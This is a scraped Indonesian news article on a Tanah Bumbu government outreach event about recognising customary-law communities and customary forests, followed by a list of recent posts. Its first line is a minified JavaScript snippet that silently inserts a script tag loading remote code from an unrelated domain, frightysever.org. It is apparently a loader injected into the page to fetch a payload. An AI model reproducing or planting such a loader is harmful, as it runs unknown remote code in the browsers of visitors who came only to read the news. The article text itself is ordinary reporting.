(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Negara Akui Masyarakat Hukum Adat, DLH Tanbu Bahas MHA hingga Hutan Adat


KANALKALIMANTAN.COM, BATULICIN – Dinas Lingkungan Hidup (DLH) Tanah Bumbu (Tanbu) sosialisasi keberadaan Masyarakat Hukum Adat (MHA) dan kearifan lokal di Kabupaten Tanah Bumbu, Rabu (29/6/2022).

Data yang ada di DLH Tanbu ada sejumlah komunitas adat di Kabupaten Tanah Bumbu yang berada pada 10 balai adat tersebar di tiga kecamatan yaitu Kecamatan Mantewe, Kecamatan Satui dan Kecamatan Teluk Kepayang.

Tanah Bumbu sudah ada terbentuk panitia MHA untuk tahun 2022/2023 terdiri atas lintas sektor dan unsur perwakilan masyarakat adat dengan Nomor 188.46/15/DLH/2022 yang dikeluarkan tanggal 11 April 2022.

Sosialisasi keberadaan MHA mendatangkan narasumber dari DLH Provinsi Kalsel dan Aliansi Masyarakat Adat Nusantara (AMAN) Kalsel. Juga ada Kepala DLH Kotabaru, Ketua AMAN Kotabaru dan Kumdatus Kotabaru, Kepala BPN, Kepala KPH Kusan, Ketua AMAN Tanbu, Ketua Kumdatus Tanbu, Camat Mantewe dan Teluk Kepayang, Kepala Desa Tamunih serta perwakilan masyarakat adat.

 

Baca juga  : 19 Pejabat Pemkab Kapuas Dilantik, Bupati Ben Brahim: Dimana Pun di Tempatkan Laksanakan Tugas!

Sekretaris DLH Tanbu Halidie mengucapkan terima kasih atas kerjasama semua pihak, sehingga terselenggara sebagai wujud kepedulian bersama, dalam menjaga kenyamanan, kelestarian lingkungan, dan sumber daya alam.

“Kita ini negara hukum, negara kepulauan, negara yang mempunyai adat istiadat dan budaya. Perlu adanya suatu pengakuan, dimana masyarakat dibagi tiga yaitu ada masyarakat hukum adat, masyarakat lokal dan masyarakat tradisional. Semua mempunyai kriteria yang berbeda, masyarakat hukum adat harus diakui oleh wali kota, bupati atau gubernur,” ujarnya.

Terkait masyarakat hukum adat yang ada di Tanbu, langkah-langkah, yang sudah dilakukan Pemkab Tanbu dalam mendukung percepatan pengakuan dan perlindungan MHA adalah dengan kehadiran SK Bupati Tanah Bumbu tentang Panitia MHA Kabupaten Tanbu tahun 2022/2023. Sehingga bisa menetapkan langkah kerja Panitia MHA, dimana sudah ada rapat koordinasi Panitia MHA, membahas awal identifikasi MHA berdasarkan ISOMHA (Identifikasi Subyek Obyek Masyarakat Hukum Adat). Namun, terkendala pada penentuan peta wilayah adat dan peta hutan adat di Tanah Bumbu.

“Tanah Bumbu saat ini, belum mempunyai penetapan pengakuan dan perlindungan MHA, sehingga gerak langkah kerja Panitia MHA dapat cepat dan terarah,” katanya. Menyikapi hal tersebut diharapkan kedatangan narasumber dari DLH Kalsel dan AMAN Kalsel, lebih memantapkan kinerja Panitia MHA Kabupaten Tanbu. “Sehingga bisa menentukan langkah lanjutan, kita juga perlu bijak dalam menanggapi kearifan lokal untuk melestarikan budaya masyarakat secara turun temurun, mencegah pencemaran lingkungan dan mencegah kerusakan lingkungan,” paparnya.

 

Baca juga  : Pemerintah Tetapkan Idul Adha 1443 H pada Minggu 10 Juli 2022

Narasumber dari DLH Kalsel, Wahyuni Majedi menyampaikan, sosialisasi ini telah berjalan sudah di beberapa daerah, hingga saat ini sampai pada Kabupaten Tanah Bumbu, tentang peran pemerintah dan pemerintah daerah dalam pengakuan dan pemetaan wilayah MHA. Penjelasan mengenai pembentukan negara serta pengelolaan negara melalui regulasi ketentuan yang tercantum pada UUD 1945 Pasal 18 B (2) dan Pasal 281 Ayat (3).

Demikian juga telah tertuang pada beberapa peraturan yaitu UU No 6 Tahun 2014 tentang Desa, Permendagri 52 Tahun 2014 tentang Pedoman Pengakuan dan Perlindungan MHA serta PermenLHK No. 9 Tahun 2021 tentang Pengelolaan Perhutanan Sosial khususnya pada Pasal 63 terkait Hutan Adat.

“Kami berharap, sambil menunggu pembuatan Peraturan Daerah yang memerlukan waktu cukup lama, bisa dilakukan dengan pengakuan dan penetapan MHA melalui keputusan Kepala Daerah, sehingga ada penguatan payung hukum terkait wilayah adat MHA, pengelolaan hutan adat, ada hukum adat secara tertulis, penegasan masalah sengketa tanah juga perlu diperhatikan,” paparnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

3 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

14 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

16 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

16 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

17 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

18 jam ago

This website uses cookies.